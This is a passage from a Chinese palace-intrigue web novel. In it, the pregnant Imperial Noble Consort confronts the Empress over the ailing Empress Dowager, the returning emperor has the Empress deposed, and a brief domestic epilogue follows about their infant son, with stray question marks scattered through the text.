皇后不动声色地扫了眼明裳的小腹,“皇贵妃怀着皇嗣,不安生在永和宫修养,小心肚子里的皇嗣出了闪失。” 明裳柔柔一笑,福了身子,毫不在意皇后的讥讽之语,“臣妾得知太后娘娘凤体有恙,传了太医院当值的太医,过来为太后娘娘看诊。不想这宫女口?口?声声倚仗皇后娘娘,不准臣妾带太医进去,实?在没有规矩,皇后娘娘可是要?好生管束下面的宫人,免得冲撞了臣妾,臣妾再有闪失,也是皇后娘娘之过。” 这话一出,皇后的脸色更加难看,全福海觑了眼皇后娘娘,又觑了眼皇贵妃娘娘,默不作声地垂下脑袋,他?一个奴才,现在还没有他?说话的份。 皇后眸色稍冷,“皇贵妃可真是愈发?厉害了,不把本宫这个皇后放在眼里!” “臣妾不敢。”明裳声音淡淡,“臣妾身为皇上的妃嫔,皇上不在宫中,臣妾理应为太后侍疾,尽尽孝心。太后娘娘病重数日?至今未愈,臣妾传太医院太医为太后娘娘看诊,有何不妥?皇后娘娘再三?阻拦,又将太后娘娘近身的宫人赶去偏厢,软禁太后娘娘于?此,可是有何不为人知的图谋!” “大?胆!”皇后气得胸脯起伏,猛地扬手,全福海看准时机,闪身护皇贵妃在后面,赔笑道:“皇后娘娘恕罪,皇贵妃娘娘身怀皇嗣,皇上交代,不论皇贵妃娘娘犯下何等大?错,都交由皇上回宫处置。” 皇后扬起的手落下到身侧紧握成拳,眉梢凌厉,“钦天监言天有灾星,妨碍太后娘娘凤体,本宫已?送张贵嫔离宫,待张贵嫔到寺中潜心为太后娘娘祈福,太后娘娘自会?痊愈。” 殿外,传进女子轻讽的笑语,“钦天监那些庸囊,皇后娘娘居然也信?” 贤妃入了殿,先与皇后和明裳福了身,抬眼时,两?人四目相视,贤妃递了一个心安的眼色,她对皇后轻笑,“皇后娘娘莫不是让那钦天监使官欺了去。” “臣妾刚收了家书,说是钦天监正使在花楼中吃酒,说什么星象如他?眼,他?只需动动嘴皮子,收收银钱,便可在这宫里翻云弄雨。不巧这些胡言被大?理寺的人听到,已?经将那正使羁押入狱了。” “什么?”皇后面色大?变,将信将疑。 全福海也在纳闷,那钦天监为官数年,能如此蠢笨?不过他?识趣地没有开口?,眼下分明太后这桩事才最?为紧要?。 殿内气氛僵持,贤妃面上沉着,看不出分毫破绽,但钦天监这事儿委实?是她编排出的。这么短的时间,她哪得空去查皇后与钦天监的勾当。她过来相助皇贵妃,全因皇上的态度,贤妃一向看得清形势,这后宫皇后迟早要?坐不住这位子。 皇后本能分辨出贤妃话中真假,今日?她却是心急了,便有些沉不住气。手边,文竹轻碰了下她的衣袖,示意,张贵嫔已?被送出了宫。 她敛眸,面容一如既往有皇后的雍容端庄,“皇贵妃一心为太后娘娘着想,本宫确也不好阻拦。” 皇后转过身,那门却是先一步从里打开,赵月儿扶着病容的太后,走出内殿。 皇后面色惊愕,“母后!” 太后气息微弱,没有看她,由赵月儿扶去上座,她疲惫地睁开眼,缓缓扫了瞬殿内站着的人,无声叹了口?气,“皇贵妃带着人回去吧,哀家身子无事。” 窄榻倚着的老妪头裹抹额,双鬓夹有风霜银丝,她说完就合上了眼。 明裳拧了拧眉,她站着没动,却也没有坚持劝说。太后不喜她,又在这时现身,显然是为保全皇后的体面。 有太后出面,大?皇子怕是难以回到钟粹宫。 皇上不在,今日?的事终究是要?就此作罢。 明裳心下越来越沉,忽然双目晕眩,一阵头重脚轻,失了意识,耳边忽然听有人传皇上驾到,她转过身,身形不稳,要?栽落到地上,没有预想中的疼痛,而是被一道大?力托入温热的怀里。 她蹙紧眉尖儿,掀开眸子,看清了面前的男人,“皇上?” 李怀修面有薄怒,沉着眉问?她身子哪里不适。 她摇了摇头,回说头晕。 李怀修一手托着明裳的腰,看也没看呼啦啦跪了一地的人,亲自扶她坐去交椅上,“坐下歇歇。”又招来一个太医为她诊脉,得知确实?无事,才放下心。 他?转过身,只先扫了福身的皇后一眼,眼神冰冷,对皇后身后站着的太医道:“去为太后诊脉。” 宋太医身子抖成筛糠,心有迟疑,触到皇上骇人的脸色,吓得登时软了双腿,两?股战战,“皇上饶命!皇上饶命!” “皇帝!”太后抚着胸口?,挣扎着坐起身,“哀家无事,皇帝让他?们都下去吧!” 李怀修面无表情,平静道:“朕回宫得知母后病重数日?,宋太医又看不出母后的病症,那钦天监糊涂的正使又是个蠢物,朕全是一片孝心,为母后凤体着想。” 太后唇角微动,苦笑着,不得不就此退让,“既是如此,皇帝留下宋太医,让他?再给哀家看看。” 听过太后这句话,皇后脚步发?虚,险些跌坐在地,她知道,时至今日?,彻底是无力回天。 …… 翌日?,皇后以私怀怨怼,权弄后宫之名被赐下废后诏书,贬为庶人,择日?赐酒自尽。 …… 日?如流水,转眼至皇贵妃临盆。 二?月初,皇贵妃诞下一子。 七月,圣驾前去行宫避暑,李怀修途中小睡,于?梦中遇乌云盖雪,一棹烟波里,稚子睡绿荷而来,惊醒后遂为幺子取小字荷儿。 荷儿年纪小,睁着乌溜溜的眼珠不会?说话,三?姐姐经常戳他?脸蛋,叫弟弟。荷儿不喜欢姐姐戳他?,他?埋到母妃怀里,喜欢香喷喷的母妃,呼呼地睡着也不愿从母妃怀里离开。 明裳却发?现荷儿越长大?比安儿黏人更甚,刚生下的时候还好,现在是一刻离不开她,明裳哭笑不得。 夜里李怀修要?把儿子丢给乳母,不想刚把他?从他?母妃怀里抱住来,就哇哇大?哭,哪像他?生出来的儿子。 李怀修黑着脸,百思?不得其解,不得已?只能让小儿子日?日?跟着在寝宫睡。 几夜之后,李怀修愈发?不爽,看小儿子也越来越不顺眼。 又一次赶不走儿子后,李怀修脸色铁青地坐起身,一把拨开罩着的床幔,拢着衾衣,丢下一句,“朕出去看看折子。” 琉璃宫灯的烛火照着男人硬挺的眉峰鼻骨,御案上摆着送进行宫的奏折,李怀修翻出压在折子下的一张花笺,他?凝神,压了压眉心,记起是去岁离宫时,在宫外梦醒后,随手而书的一行字。 耳边听到熟悉的脚步声,他?淡然地合了花笺,用折子压到案下。 明裳走过来,放上一盏温水,见男人疲惫,指腹轻缓地揉按李怀修的额角,软声而笑,“荷儿还不到一岁大?,皇上老大?不小了,还与自己的儿子置气。” 李怀修拧眉嗤道:“朕小时候可不会?哭着喊着要?和母妃一起睡。” 顿了顿,他?伸臂将人揽到怀里,柔和的光晕覆过女子的面颊,肌肤如霜若雪,青丝散在肩头,齐胸的饱满呼之欲出平添几分风韵。 被男人这样?如狼地盯着,明裳粉着面,眼神躲闪,又被李怀修勾回来,含住了她的唇珠。 “荷儿还在睡着……” 明裳虽吩咐守夜的宫女看着,但她仍不放心。 李怀修吻过她的脖颈,单手卸下腰封,囫囵道:“朕快些。” 御案的折子乱糟糟掉到地上,明裳无意碰到下面的花笺,掩盖的奏折移开,露出帝王龙飞凤舞的两?行私语。